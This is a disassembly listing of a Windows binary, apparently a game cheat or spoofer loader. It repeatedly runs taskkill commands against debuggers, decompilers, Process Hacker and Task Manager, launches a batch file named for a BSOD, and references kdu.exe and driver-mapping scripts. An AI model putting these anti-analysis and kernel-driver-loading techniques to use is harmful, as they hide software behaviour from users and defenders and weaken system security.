call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x64dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_x32dbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ollydbg
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_die
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str.C:WindowsSystemBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
call fcn.140085890
call fcn.1400858e0
lea rcx, [0x14037b790]
call fcn.14029da10
lea rcx, str.C:WindowsSystemSt.sys
call fcn.14029da10
lea rcx, [0x14037b7e8]
call fcn.14029da10
lea rcx, str.C:WindowsSystemDriverMapperSpoofyy.bat.bat
call fcn.14029da10
lea rcx, [0x14037b838]
call fcn.14029da10
lea rcx, [0x14037b870]
call fcn.14029da10
lea rcx, [0x14037b790]
call fcn.14029da10
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:WindowsSystemcolbact.dll
call fcn.14029da10
lea rcx, str.C:WindowsSysteminstallDriver.bat
call fcn.14029da10
lea rcx, str.C:WindowsSystemkdu.exe
call fcn.14029da10
lea rcx, [0x14037b790]
call fcn.14029da10
lea rcx, str.C:WindowsSystemSt.sys
call fcn.14029da10
lea rcx, [0x14037b7e8]
call fcn.14029da10
lea rcx, str.C:WindowsSystemDriverMapperSpoofyy.bat.bat
call fcn.14029da10
lea rcx, [0x14037b838]
call fcn.14029da10
lea rcx, [0x14037b870]
call fcn.14029da10
lea rcx, [0x14037b790]
call fcn.14029da10
lea rcx, [0x14037b558]
call fcn.14029da10
lea rcx, [0x14037b400]
call fcn.14029da10
lea rcx, [0x14037b4b0]
call fcn.14029da10
lea rcx, [0x14037b8f8]
call fcn.14029da10
lea rcx, [0x14037ae48]
call fcn.14029da10
lea rcx, [0x14037b770]
call fcn.14029da10
lea rcx, [0x14037ace0]
call fcn.14029da10
lea rcx, [0x14037ad90]
call fcn.14029da10
lea rcx, [0x14037aef8]
call fcn.14029da10
lea rcx, [0x14037b600]
call fcn.14029da10
lea rcx, str.C:WindowsSystemd.bat
call fcn.14029da10
lea rcx, [0x14037b558]
call fcn.14029da10
lea rcx, str.C:WindowsSystemFIXEDV2.bat
call fcn.14029da10
lea rcx, [0x14037ace0]
call fcn.14029da10
lea rcx, [0x14037ad90]
call fcn.14029da10
lea rcx, [0x14037b400]
call fcn.14029da10
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r9d, Ordinal_50
lea r8, str.JOINING_SERVER
lea rdx, str.NOW_SELECTING_A_RANDOM_SERVER_TOP_JOIN
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, [0x14037b400]
call fcn.14029da10
lea rcx, [0x14037aef8]
call fcn.14029da10
lea rcx, [0x14037b4b0]
call fcn.14029da10
lea rcx, [0x14037b9c0]
call fcn.14029da10
lea rcx, [0x14037b770]
call fcn.14029da10
lea rcx, [0x14037ace0]
call fcn.14029da10
lea rcx, [0x14037b8f8]
call fcn.14029da10
